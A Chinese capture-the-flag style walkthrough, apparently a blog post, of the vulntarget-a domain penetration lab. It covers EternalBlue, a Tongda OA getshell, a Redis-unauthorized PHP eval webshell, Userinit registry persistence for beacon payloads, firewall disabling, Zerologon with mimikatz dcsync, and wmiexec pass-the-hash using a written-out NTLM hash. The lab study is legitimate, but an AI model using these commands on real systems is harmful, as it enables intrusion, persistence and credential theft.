vulntarget-a

信息收集

存活扫描,目标开放了445还是win7,考虑一手永恒之蓝

arp-scan -l
nmap -A -sT -sV 192.168.130.4

永恒之蓝

用nmap的插件验证一下确实存在

nmap -sT -sV -Pn -p445 --script=smb-vuln-ms17-010.nse 192.168.130.7

直接msf开打拿下shell

可以看到还有另一个网段10.0.20.0

通达OA getshell

这里也回到访问80端口的web看看应该也是有突破口的,看到扫码那里显示了是通达OA

上工具一把梭

连接上去发现直接就是system权限了

域信息收集

哥斯拉中chcp 65001之后还是有乱码,先维持一下权限,再上线cs。存活扫描一下得到所在的域和另外一个99的机器win2016

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "Userinit" /t REG_SZ /F /D "C:\Windows\system32\userinit.exe,C:/MYOA/webroot/shell.exe"

流量转发

接着进入10.0.20.0这个网段去收集99机器的信息,直接使用frp时客户端会报timeout,cs上关掉防火墙就可以连上了

netsh advfirewall set allprofile state off
netsh advfirewall show all state

因为在cs上用fscan的回显有乱码chcp 65001也没解决,这里用插件试了一下然后成功打开了3389,直接上才艺。如下开放了80和6379。这里fscan提示有redis未授权

redis未授权需要知道绝对路径才能写shell,先看看web有没有突破口,98上frpc,kali上frps,windows上通过proxifier搭成隧道进行访问。访问80页面却只有hello world

扫一下后台目录发现了phpinfo

访问发现l.php是个php探针,这里暴露了他的绝对路径 C:/phpStudy/PHPTutorial/WWW

Redis 未授权

得到了路径就验证一下是否真的存在未授权访问,因为这里用的wsl需要配置一下redis,稍作记录。

wget http://download.redis.io/releases/redis-2.8.17.tar.gz & tar -zxvf redis-2.8.17.tar.gz
cd src & cp redis-server /usr/bin
cp redis-cli /usr/bin
cd .. & cp redis.conf /etc/
redis-cli -h 10.0.20.99

但执行低三步写入shell的时候有报错 “(error) READONLY You can't write against a read only slave”。这是因为主服务器有读写权限,而 从服务器slave master 默认只具有的权限。两种解决方法一种是修改redis.conf(将参数 slave-read-only yes 将yes修改为no)可以永久生效但需要重启服务。第二种就是通过 config set slave-read-only no 进行临时设置,立即生效,但重启后就会失效。

config set dir "C:/phpStudy/PHPTutorial/WWW"
config set dbfilename lockly.php
set x "\r\n\r\n<?php eval($_POST['bk']);?>\r\n\r\n"
config set slave-read-only no

哥斯拉连上去,是system权限,还发现了另外一个网段10.0.10.0

执行转发上线,然后生成正向马从哥斯拉上传并执行就可以通过98机器中转上线了,上来做个权限维持先

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "Userinit" /t REG_SZ /F /D "C:\Windows\system32\userinit.exe,C:/phpStudy/PHPTutorial/WWW/beacon.exe"

存活扫描

上传fscan扫描存活主机和端口,另一个110机器开放了88,135,139,445

查看域管理员

net group "enterprise admins" /domain

查看域控用户

net group "domain controllers" /domain

Zerologon 打域控

尝试了一下zerologon,用lodan的插件成功将域控的密码打空,但这样可能会导致主机脱域,后面需要恢复

然后又远程桌面过去mimikatz导出hash,但是最后一步复原不起作用

lsadump::dcsync /domain:vulntarget.com /dc:win2019.vulntarget.com /user:administrator /authuser:win2019$ /authdomain:vulntarget.com /authpassword:"" /authntlm
lsadump::postzerologon /target:win2019.vulntarget.com /account:win2019$

后面看了别人的wp,用了github上的exp,因为前面只有一层代理,所以现在是访问不到10.0.10.0这个网段的,本来是用frp继续配第二层代理的,但是奇怪的在关了防火墙的之后也还是访问不到主机。所以在cs上从10.0.20.99那台机子上开启转发,再修改proxychains的配置文件,注释掉之前的,添加sockt4 10.0.20.99 $port.这个port是cs上新建转发时设置的。

说回来上面的hash试了几个网站解不出来,这里当时忘了截用exp跑出来的结果,得到hash可以拿到一个交互式shell

proxychains python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 vulntarget/administrator@10.0.10.110

根据他的help,将cs生成的正向马上传,在cs这边新建一个Beacon Tcp的监听器

lput /root/Desktop/beacon.exe C:/Windows
cd C:/Windows; start beacon.exe

运行马子之后在99那台机器上 connect 10.0.10.110 $port(新建监听器设置的端口)。成功拿下域控

vulntarget-a-wp的更多相关文章

  1. 逆天通用水印支持Winform,WPF,Web,WP,Win10。支持位置选择(9个位置 ==》[X])

    常用技能:http://www.cnblogs.com/dunitian/p/4822808.html#skill 逆天博客:http://dnt.dkil.net 逆天通用水印扩展篇~新增剪贴板系列 ...

  2. wp已死,metro是罪魁祸首!

    1.这篇文章肯定会有类似这样的评论:“我就是喜欢wp,我就是喜欢metro,我就是软粉“等类似的信仰论者发表的评论. 2.2014年我写过一篇文章,windows phone如何才能在中国翻身? 我现 ...

  3. 关于 WP 开发中.xaml 与.xaml.cs 的关系

    今天我们先来看一下在WP8.1开发中最长见到的几个文件之间的关系.比较论证,在看这个问题之前我们简单看看.NET平台其他两个不同的框架: Windows Forms 先看看Window Forms中的 ...

  4. Android,ios,WP三大手机系统对比

    从前,我以为.一个手机系统只是一个系统的UI风格,没什么不同的.然而,在我混合使用这三个手机系统之后,才明白,一个手机系统远不只一个UI那么简单,而真的是可以称之为一个“生态”. 首先祭出三台经典设备 ...

  5. 搜狗输入法wp风格皮肤

    换了个nexus 发现输入法真的没有wp的好用 没办法,刚好搜狗输入法有定制皮肤的选项,所以自己做了个wp风格的输入法皮肤. 一点微小的工作 http://pan.baidu.com/s/1kVsHd ...

  6. 免费获取WP之类的开发者权限或免费使用Azure 2015-10-19

    上一次弄wp真机调试的时候,卡住了,这里讲一下怎么解决(http://www.cnblogs.com/dunitian/p/4870959.html) 进这个网址注册一下:https://www.dr ...

  7. 【WP开发】读写剪贴板

    在WP 8.1中只有Silverlight App支持操作剪贴板的API,Runtime App并不支持.不过,在WP 10中也引入了可以操作剪贴板的API. 顺便说点题外话,有人会说,我8.1的开发 ...

  8. 【WP开发】不同客户端之间传输加密数据

    在上一篇文章中,曾说好本次将提供一个客户端之间传输加密数据的例子.前些天就打算写了,只是因一些人类科技无法预知的事情发生,故拖到今天. 本示例没什么技术含量,也没什么亮点,Bug林立,只不过提供给有需 ...

  9. 【WP开发】加密篇:双向加密

    说起双向加密,如果以前在.NET开发中弄过加/解密的朋友都不会陌生,常用的算法有DES.AES等.在RT应用程序中,也提供了加密相关的API,算法自然是一样的,只是API的封装方式不同罢了,因为RT不 ...

  10. 【WP 8.1开发】How to 图像处理

    在今天的吹牛节目开始之前,先交代一件事: 关于玩WP 8.1开发所使用的VS版本问题.对版本的要求是2013的Update2,这是最低要求,只要是这个版本或以上都可以,而update3,update4 ...

随机推荐

  1. 编译器优化记录(Mem2Reg+SSA Destruction)

    编译器优化记录(2) Mem2Reg+SSA Destruction 写的时候忽然想起来,这部分的内容恰好是在我十八岁生日的前一天完成的.算是自己给自己的一份成长的纪念吧. 0. 哪些东西可以Mem2 ...

  2. 【FAQ】关于获取运动健康数据的常见问题及解答

    目录 一.Health Kit健康数据采样, 原子采样数据问题 二.Health Kit查询历史数据查询数据和返回数据不一致 三.Health Kit关于获取历史数据问题 四.调用Health Kit ...

  3. 一次考试的dp题

    很明显是dp 看题目的时候我们先进行初步的思考,发现一个性质 一个点时不可能被重复覆盖三次的很显然,如果一个点被覆盖了3次,这3个覆盖他的区间一定是有一个区间被完全包含的,因为有贡献的左右端点只有两个 ...

  4. 普冉PY32系列(九) GPIO模拟和硬件SPI方式驱动无线收发芯片XL2400

    目录 普冉PY32系列(一) PY32F0系列32位Cortex M0+ MCU简介 普冉PY32系列(二) Ubuntu GCC Toolchain和VSCode开发环境 普冉PY32系列(三) P ...

  5. React-Admin后台管理模板|react18+arco+zustand后台解决方案

    基于react18.x+vite4+arco-design自研中后台管理系统解决方案ReactAdmin. react-vite-admin 基于vite4搭建react18.x后台管理项目.使用了r ...

  6. 轻巧的批量图片压缩工具imgfast

    现在的手机拍照动辄2M3M,还有7M8m的,如果要把这些文件上传到网上应用,浪费网络,占用资源 所以2022年中秋写了这个小工具,可以批量进行图片文件压缩,支持jpg和png. 文件下载链接https ...

  7. 虹科干货| 虹科Redis企业版数据库:告别游戏卡顿,让快乐加速!

    "卡顿一分钟,玩家两行泪" 游戏已成为年轻人最主要的消遣娱乐方式之一,游戏卡顿给玩家带来糟糕游戏体验背后的原因是什么?数据存储与查询速度不够快!   游戏开发领域,不仅拥有海量的数 ...

  8. nginx学习(基本概念、配置和命令、反向代理、负载均衡、动静分离)

    之前都只会照着网上的nginx配置和代码什么的直接拿过来用,但是没系统学习过,所以来系统学习一下nginx内容. 建议服务器不要关闭防火墙,按需开启端口就好,然后云服务器也要设置SSH密钥,安全性高一 ...

  9. 18. 从零开始编写一个类nginx工具, 主动式健康检查源码实现

    wmproxy wmproxy将用Rust实现http/https代理, socks5代理, 反向代理, 静态文件服务器,后续将实现websocket代理, 内外网穿透等, 会将实现过程分享出来, 感 ...

  10. ArcMap属性表出现乱码情况的解决

      本文介绍ArcMap软件打开图层的属性表后,出现字段中汉字乱码情况的解决方法.   有时在使用ArcMap软件时,会发现一些图层的属性表中,原本应该是中文的字段却出现乱码的情况:如下图所示,其中N ...